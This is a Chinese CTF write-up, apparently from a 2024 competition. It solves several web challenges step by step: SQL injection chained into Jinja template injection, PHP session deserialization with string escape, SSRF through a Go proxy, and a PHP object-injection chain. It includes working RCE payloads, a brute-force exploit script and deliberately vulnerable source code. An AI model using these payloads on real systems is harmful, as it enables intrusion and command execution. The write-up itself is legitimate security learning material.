    document.getElementById('score').innerText = `Score: ${score}`;
}

function update() {
    fetch('/move', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({ direction: currentDirection })
    })
    .then(response => response.json())
    .then(data => {
        if (data.status === 'game_over') {
            alert(`Game Over! Your score: ${data.score}`);
            reset_game();
        }else if (data.status === 'win') {
            window.location.href = `${data.url}`;
        }else {
            snake = data.snake;
            food = { x: data.food[0], y: data.food[1] };
            score = data.score;
            draw();
        }
    });
}

let currentDirection = 'RIGHT';

document.addEventListener('keydown', event => {
    switch (event.key) {
        case 'ArrowUp':
            currentDirection = 'UP';
            break;
        case 'ArrowDown':
            currentDirection = 'DOWN';
            break;
        case 'ArrowLeft':
            currentDirection = 'LEFT';
            break;
        case 'ArrowRight':
            currentDirection = 'RIGHT';
            break;
    }
});

function reset_game() {
    fetch('/move', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({ direction: 'RIGHT' })
    })
    .then(response => response.json())
    .then(data => {
        snake = data.snake;
        food = { x: data.food[0], y: data.food[1] };
        score = data.score;
        draw();
        setInterval(update, 100);
    });
}

// 初始化游戏
reset_game();

直接重写函数输出data.url

function update() {
    fetch('/move', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({ direction: currentDirection })
    })
    .then(response => response.json())
    .then(data => {
        if (data.status === 'game_over') {
            alert(`Game Over! Your score: ${data.score}`);
            reset_game();
        }else if (data.status === 'win') {
            window.location.href = `${data.url}`;
        }else {
            snake = data.snake;
            food = { x: data.food[0], y: data.food[1] };
            score = data.score;
            draw();
        }
    });
}

实际无用,因为那边的返回包里面不带data.url

于是嗯玩50分后跳转到了 /snake_win?username=

发现username存在sql注入,测试了下发现数据库是sqlite,单引号闭合

1'order+by+3--
1'order+by+4--

共3列回显位

0'+union+select+1,2,3--

image-20241102224308875

best time处回显第3列

查数据库名

0'+union+select+1,2,name+from+sqlite_master--

得到sqlite_autoindex_users_1

查表名

0'+union+select+1,2,name+from+sqlite_master+where+type='table'--

得到sqlite_sequence

查列名

0'+union+select+1,2,sql+from+sqlite_master+where+type='table'and+name='sqlite_sequence'--

得到CREATE TABLE sqlite_sequence(name,seq)

没啥用

因为是python起的服务,测试一下ssti,发现在 best time 处存在ssti

0'+union+select+1,2,"{{7*7}}"--

image-20241102225221634

那直接rce了

0'+union+select+1,2,"{{''.__class__.__mro__[1].__subclasses__()[117].__init__.__globals__['popen']('cat+/flag').read()}}"--

image-20241102230813787

app.py

from flask import Flask, render_template, jsonify, request, session, redirect
import random
import sqlite3
import time
from jinja2 import Template

app = Flask(__name__)
app.config['SESSION_TYPE'] = 'filesystem'
app.secret_key = 'your_secret_key'

# 初始化数据库
def init_db():
    conn = sqlite3.connect('users.db')
    c = conn.cursor()
    c.execute('''
        CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            username TEXT UNIQUE NOT NULL,
            best_time REAL DEFAULT 0
        )
    ''')
    conn.commit()
    conn.close()

# 查询用户
def get_user(username):
    conn = sqlite3.connect('users.db')
    c = conn.cursor()
    c.execute("SELECT * FROM users WHERE username = '" + username + "'")
    user = c.fetchone()
    conn.close()
    return user

# 添加或更新用户
def add_or_update_user(username, best_time=None):
    conn = sqlite3.connect('users.db')
    c = conn.cursor()
    user = get_user(username)
    if user:
        if best_time and (user[2] == 0 or best_time < user[2]):
            c.execute('UPDATE users SET best_time = ? WHERE username = ?', (best_time, username))
    else:
        c.execute('INSERT INTO users (username, best_time) VALUES (?, ?)', (username, best_time or 0))
    conn.commit()
    conn.close()

# 初始化游戏状态
def reset_game():
    global snake, direction, food, score, start_time
    snake = [(10, 10)]
    direction = 'RIGHT'
    food = (random.randint(0, 19), random.randint(0, 19))
    score = 0
    start_time = time.time()

init_db()

@app.route('/')
def index():
    if 'username' not in session:
        return render_template('index.html')
    reset_game()
    return render_template('game.html', username=session['username'])

@app.route('/set_username', methods=['POST'])
def set_username():
    username = request.form.get('username')
    add_or_update_user(username)
    session['username'] = username
    return jsonify({'status': 'success'})

@app.route('/move', methods=['POST'])
def move():
    global snake, direction, food, score, start_time
    
    # 获取新的方向
    new_direction = request.json.get('direction')
    
    # 更新方向
    if new_direction in ['UP', 'DOWN', 'LEFT', 'RIGHT']:
        direction = new_direction
    
    # 计算新位置
    head_x, head_y = snake[0]
    if direction == 'UP':
        head_y -= 1
    elif direction == 'DOWN':
        head_y += 1
    elif direction == 'LEFT':
        head_x -= 1
    elif direction == 'RIGHT':
        head_x += 1
    
    # 检查碰撞
    if head_x < 0 or head_x >= 20 or head_y < 0 or head_y >= 20 or (head_x, head_y) in snake:
        reset_game()
        return jsonify({'status': 'game_over', 'score': score})
    
    # 添加新头部
    snake.insert(0, (head_x, head_y))
    
    # 检查是否吃到食物
    if (head_x, head_y) == food:
        score += 1
        while True:
            food = (random.randint(0, 19), random.randint(0, 19))
            if food not in snake:
                break
    else:
        snake.pop()
    
    # 检查是否通关
    if score >= 50:
        elapsed_time = time.time() - start_time
        add_or_update_user(session['username'], elapsed_time)
        return jsonify({'status': 'win', 'url': f"/snake_win?username={session['username']}"})
    return jsonify({'status': 'ok', 'snake': snake, 'food': food, 'score': score})

@app.route('/snake_win')
def win():
    username = request.args.get('username')
    user = get_user(username)
    best_time = user[2] if user else 0
    f = open('templates/win.html','r', encoding='utf-8')
    content = f.read().replace("{{ best_time }}",str(best_time))
    f.close()
    t = Template(content)
    return t.render(username=username)

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

platform

扫出www.zip

dashboard.php

<p>你好,<?php echo htmlspecialchars($_SESSION['user']); ?></p>

看一下index.php

<?php
session_start();
require 'user.php';
require 'class.php';

$sessionManager = new SessionManager();
$SessionRandom = new SessionRandom();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'];
    $password = $_POST['password'];

    $_SESSION['user'] = $username;

    if (!isset($_SESSION['session_key'])) {
        $_SESSION['session_key'] =$SessionRandom -> generateRandomString();
    }
    $_SESSION['password'] = $password;
    $result = $sessionManager->filterSensitiveFunctions();
    header('Location: dashboard.php');
    exit();
} else {
    require 'login.php';
}

class.php

<?php
class notouchitsclass {
    public $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function __destruct() {
        eval($this->data);
    }
}

class SessionRandom {

    public function generateRandomString() {
    $length = rand(1, 50);

    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';

    for ($i = 0; $i < $length; $i++) {
        $randomString .= $characters[rand(0, $charactersLength - 1)];
    }

    return $randomString;
    }


}

class SessionManager {
    private $sessionPath;
    private $sessionId;
    private $sensitiveFunctions = ['system', 'eval', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open'];

    public function __construct() {
        if (session_status() == PHP_SESSION_NONE) {
            throw new Exception("Session has not been started. Please start a session before using this class.");
        }
        $this->sessionPath = session_save_path();
        $this->sessionId = session_id();
    }

    private function getSessionFilePath() {
        return $this->sessionPath . "/sess_" . $this->sessionId;
    }

    public function filterSensitiveFunctions() {
        $sessionFile = $this->getSessionFilePath();

        if (file_exists($sessionFile)) {
            $sessionData = file_get_contents($sessionFile);

            foreach ($this->sensitiveFunctions as $function) {
                if (strpos($sessionData, $function) !== false) {
                    $sessionData = str_replace($function, '', $sessionData);
                }
            }
            file_put_contents($sessionFile, $sessionData);

            return "Sensitive functions have been filtered from the session file.";
        } else {
            return "Session file not found.";
        }
    }
}

很明显我们的目标是 notouchitsclass 类,那么重点就在这里的$result = $sessionManager->filterSensitiveFunctions();

class SessionManager {
    private $sessionPath;
    private $sessionId;
    private $sensitiveFunctions = ['system', 'eval', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open'];

    public function __construct() {
        if (session_status() == PHP_SESSION_NONE) {
            throw new Exception("Session has not been started. Please start a session before using this class.");
        }
        $this->sessionPath = session_save_path();
        $this->sessionId = session_id();
    }

    private function getSessionFilePath() {
        return $this->sessionPath . "/sess_" . $this->sessionId;
    }

    public function filterSensitiveFunctions() {
        $sessionFile = $this->getSessionFilePath();

        if (file_exists($sessionFile)) {
            $sessionData = file_get_contents($sessionFile);

            foreach ($this->sensitiveFunctions as $function) {
                if (strpos($sessionData, $function) !== false) {
                    $sessionData = str_replace($function, '', $sessionData);
                }
            }
            file_put_contents($sessionFile, $sessionData);

            return "Sensitive functions have been filtered from the session file.";
        } else {
            return "Session file not found.";
        }
    }
}

一眼 str_replace 的替换关键词,直接双写或者拼接绕过

而我们只有 sessionId 可控,打session反序列化

O:15:"notouchitsclass":1:{s:4:"data";s:24:"('sys'.'tem')($_GET[0]);";}

问题是只靠 user 或者 password 都无法凑出正确的序列化格式,注意到还有个 session 里面还有 session_key 可以用,尝试覆盖 session_key 来传入一个完整的序列化字符串

然后在 user 处利用 replace 替换实现字符串逃逸,增加 user 的长度来使内容包裹形如";session_key|s:26:"y4jqJ94NGupXb3haeJPiRwH2Gt";password|s:96:,共逃逸62位

另一个问题是不清楚原有的 session_key 长度是多少,不过这个问题可以通过爆破来解决,直接给username传入popenpopenpopenpopenpopenpopenpopenpopenpopenpopen预期覆盖50位

password传入前后闭合的序列化字符串

payload:

{
    'password':
    ';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:24:"(\'sys\'.\'tem\')($_GET[0]);";}password|s:1:"a',
    'username': 'popenpopenpopenpopenpopenpopenpopenpopenpopenpopen'
}

exp:

import requests

params = {'0': "ls+/"}

data = {
    'password':
    ';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:24:"(\'sys\'.\'tem\')($_GET[0]);";}password|s:1:"a',
    'username': 'popenpopenpopenpopenpopenpopenpopenpopenpopenpopen'
}

url = "http://eci-2zealtn2xy2kvfyzdnk4.cloudeci1.ichunqiu.com/"
while 1:
    r = requests.session()
    response1 = res.post(url + '/index.php',
                       params=params,
                       data=data,
                       allow_redirects=False)
    response2 = res.post(url + '/index.php',
                       params=params,
                       data=data,
                       allow_redirects=False)
    response3 = res.post(url + '/dashboard.php?0=ls+/', allow_redirects=False)
    if "flag" in response3.text:
        print(response3.text)
        print(res.cookies)
        break
    res.close()

直接/readflag

image-20241103094736389


Proxy

main.go

package main

import (
	"bytes"
	"io"
	"net/http"
	"os/exec"

	"github.com/gin-gonic/gin"
)

type ProxyRequest struct {
	URL             string            `json:"url" binding:"required"`
	Method          string            `json:"method" binding:"required"`
	Body            string            `json:"body"`
	Headers         map[string]string `json:"headers"`
	FollowRedirects bool              `json:"follow_redirects"`
}

func main() {
	r := gin.Default()

	v1 := r.Group("/v1")
	{
		v1.POST("/api/flag", func(c *gin.Context) {
			cmd := exec.Command("/readflag")
			flag, err := cmd.CombinedOutput()
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}
			c.JSON(http.StatusOK, gin.H{"flag": flag})
		})
	}

	v2 := r.Group("/v2")
	{
		v2.POST("/api/proxy", func(c *gin.Context) {
			var proxyRequest ProxyRequest
			if err := c.ShouldBindJSON(&proxyRequest); err != nil {
				c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
				return
			}

			client := &http.Client{
				CheckRedirect: func(req *http.Request, via []*http.Request) error {
					if !req.URL.IsAbs() {
						return http.ErrUseLastResponse
					}

					if !proxyRequest.FollowRedirects {
						return http.ErrUseLastResponse
					}

					return nil
				},
			}

			req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			for key, value := range proxyRequest.Headers {
				req.Header.Set(key, value)
			}

			resp, err := client.Do(req)

			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			defer resp.Body.Close()

			body, err := io.ReadAll(resp.Body)
			if err != nil {
				c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
				return
			}

			c.Status(resp.StatusCode)
			for key, value := range resp.Header {
				c.Header(key, value[0])
			}

			c.Writer.Write(body)
			c.Abort()
		})
	}

	r.Run("127.0.0.1:8769")
}

proxy.conf

server {
    listen 8000;

    location ~ /v1 {
        return 403;
    }

    location ~ /v2 {
        proxy_pass http://localhost:8769;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection $connection_upgrade;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

以 v1 开头请求会返回403,以 /v2 开头的请求会代理转发到 localhost:8769

那意思就是要我们通过代理访问 v1

构造请求访问

POST /v2/api/proxy HTTP/1.1
Host: 39.107.90.219:36870
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 109

{"url":"http://127.0.0.1:8769/v1/api/flag",
"method":"POST",
"body":"",
"headers":{},
"follow_redirects":false}

image-20241103141720027


Password Game

只有3秒时间反应,不然会被重定向会index.php

直接抓包开测

Rule 1: 请至少包含数字和大小写字母

Rule 2: 密码中所有数字之和必须为9的倍数

Rule 3: 请密码中包含下列算式的解(如有除法,则为整除): 14904 + 25

Rule 4: 密码长度不能超过170

rule2 和 rule3 会变,重新登录可以roll这些rule,roll个倍数低的比较容易配

POST /game.php HTTP/1.1
Host: eci-2zeg97hlr4shqg4ot30a.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Origin: http://eci-2zeg97hlr4shqg4ot30a.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2zeg97hlr4shqg4ot30a.cloudeci1.ichunqiu.com/game.php
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1722006294,1723623724,1723858266; PHPSESSID=ubo7v7c3m3dn091u6pmida52n8
Upgrade-Insecure-Requests: 1

password=qwe14929A2

拿到源码

<?php
function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
    public function __tostring(){
        if($this->username=="guest"){
            $value();
        }
        return $this->username;
    }
    public function __call($key,$value){
        if($this->username==md5($GLOBALS["flag"])){
            echo $GLOBALS["flag"];
        }
    }
}
class root{
    public $username;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public $value;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
    echo "hello!";
}

链子很简单,但是绕过限制就要考虑的多了,然后仔细一看发现怎么guest类里是$value()不是this->$value(),那链子断了啊

而且 __get() 找一圈下来发现链子进不去

题目提示:正确的解不会经过错误的代码,请观察一下是否能篡改可以输出的地方。

发现直接$a=new root();$a->test="";就可以触发 __get

那么可以利用引用把 root 的 value 赋值给 user 的 username

payload:

<?php
class guest{
    public $username;
    public $value;
}
class root{
    public $username;
    public $value="2024qwb";
}
class user{
    public $username;
    public $password;
    public $value="qwe1077050A6";
}
$a=new root();
$a->test=new user();
$a->test->username=&$a->value;
echo serialize($a);
// O:4:"root":3:{s:8:"username";N;s:5:"value";s:7:"2024qwb";s:4:"test";O:4:"user":3:{s:8:"username";R:3;s:8:"password";N;s:5:"value";s:12:"qwe1077050A6";}}

然后把 2024qwb 那段用十六进制绕过:S:7:"2024q\77b"

image-20241103131809125


EzCalc(Unsolved)

一眼xss

先看一下flag的位置,在bot.ts

const result = await page.evaluate(() => {
    const span = document.querySelector('.ant-alert-message');
    if (!span) {
        return false;
    }
    return span.textContent === '114514';
});


if (result) {
    await page.close();
    page = await browser.newPage();
    await page.goto(`https://${APP_HOST}/`, { waitUntil: 'networkidle2' });
    await sleep(1000);
    await page.focus('input');
    await page.keyboard.type(`"${readFileSync('/bot/flag', 'utf-8')}"`, { delay: 100 });
    await sleep(100);
    await page.click('button');
    await sleep(1000);
}

bot 会找类名为 .ant-alert-message 的元素,然后重启一个页面,往输入框里面填 flag 并提交

接下来我们找一下 bot 交互的地方

r.POST("/api/report", func(c *gin.Context) {
    var req ReportRequest
    if err := c.BindJSON(&req); err != nil {
        c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
        return
    }

    report := Report{
        ID:          uuid.New().String(),
        Expression:  req.Expression,
        Result:      req.Result,
        Email:       req.Email,
        Comment:     req.Comment,
        CheckResult: "waiting",
    }

    for _, id := range req.Screenshots {
        var screenshot Screenshot
        if err := db.Where("id = ?", id).First(&screenshot).Error; err != nil {
            c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Screenshot not found"})
            return
        }
        if screenshot.ReportID != "" {
            c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Screenshot already associated with a report"})
            return
        }

        screenshot.ReportID = report.ID
        if err := db.Save(&screenshot).Error; err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
            return
        }
    }

    if err := db.Create(&report).Error; err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
        return
    }

    reportMutex.Lock()
    if reportGoroutineCount >= 32 {
        reportMutex.Unlock()
        c.JSON(http.StatusTooManyRequests, gin.H{"status": "error", "message": "Too many requests"})
        return
    }
    reportMutex.Unlock()

    go func() {
        reportMutex.Lock()
        reportGoroutineCount++
        reportMutex.Unlock()
        defer func() {
            reportMutex.Lock()
            reportGoroutineCount--
            reportMutex.Unlock()
        }()

        req, err := http.NewRequest("GET", "http://bot:52000/api/bot", nil)
        if err != nil {
            report.CheckResult = "error"
            db.Save(&report)
            return
        }
        q := req.URL.Query()
        q.Add("expr", report.Expression)
        req.URL.RawQuery = q.Encode()

        client := &http.Client{}
        resp, err := client.Do(req)
        if err != nil {
            report.CheckResult = "error"
            db.Save(&report)
            return
        }

        defer resp.Body.Close()

        if resp.StatusCode != http.StatusOK {
            report.CheckResult = "error"
            db.Save(&report)
            return
        }

        resBody, err := io.ReadAll(resp.Body)
        if err != nil {
            report.CheckResult = "error"
            db.Save(&report)
            return
        }

        report.CheckResult = string(resBody)
        db.Save(&report)
    }()

    c.JSON(http.StatusOK, gin.H{"status": "ok", "data": gin.H{"id": report.ID}})
})

index.ts

import express from 'express';
import { Request, Response, NextFunction } from 'express';
import { botHandler } from './bot';

const asyncHandler = func => (req: Request, res: Response, next: NextFunction) => {
    return Promise
        .resolve(func(req, res, next))
        .catch(next);
};

const main = async () => {

    const app = express();

    app.use(express.json());

    app.get('/api/bot', asyncHandler(botHandler));

    app.use((err: any, req: any, res: any, next: any) => {
        if (err) {
            console.error(`[-] Error processing request ${(req as any).id}: ${err}`);
            console.error(err.stack);
            res.status(500).json({ status: 'error', message: 'Internal server error', data: { id: (req as any).id } });
        } else {
            next();
        }
    });

    app.on('close', () => {
        process.exit(0);
    });

    app.listen(52000, () => {
        console.log('[+] Bot server started');
    });
}

main();

在这里会给内网的 bot 发请求

r.GET("/api/report/:id", func(c *gin.Context) {
    id := c.Param("id")

    var report Report
    if err := db.Where("id = ?", id).First(&report).Error; err != nil {
        c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Report not found"})
        return
    }

    var screenshots []Screenshot
    if err := db.Where("report_id = ?", id).Find(&screenshots).Error; err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
        return
    }

    c.JSON(http.StatusOK, gin.H{"status": "ok", "data": gin.H{"report": report, "screenshots": screenshots}})
})

r.NoRoute(func(c *gin.Context) {
    c.HTML(http.StatusOK, "index.tpl", gin.H{
        "nonce": c.MustGet("nonce"),
    })
})

普通的查询,猜测等会用来带外

image-20241103152925506

需要注意的是这里设置了csp

r.Use(func(c *gin.Context) {
    host := c.Request.Host
    if host == "" {
        c.JSON(http.StatusBadRequest, "Bad Request")
        c.Abort()
        return
    }
    nonce := RandStringRunes(32)
    c.Set("nonce", nonce)
    c.Header("Content-Security-Policy", fmt.Sprintf("default-src 'none'; script-src 'self' 'unsafe-eval' 'nonce-%s'; style-src 'unsafe-inline' 'self'; img-src 'self' data: blob:; connect-src 'self'; frame-src 'none'; base-uri 'none'; manifest-src 'none'; object-src 'none';", nonce))
    c.Header("X-Content-Type-Options", "nosniff")
    c.Header("X-Frame-Options", "DENY")
    c.Header("Cross-Origin-Opener-Policy", "same-origin")
    c.Next()
})

image-20241103154441014

拉满,太好了我们没救了


Proxy_revenge(Unsolved)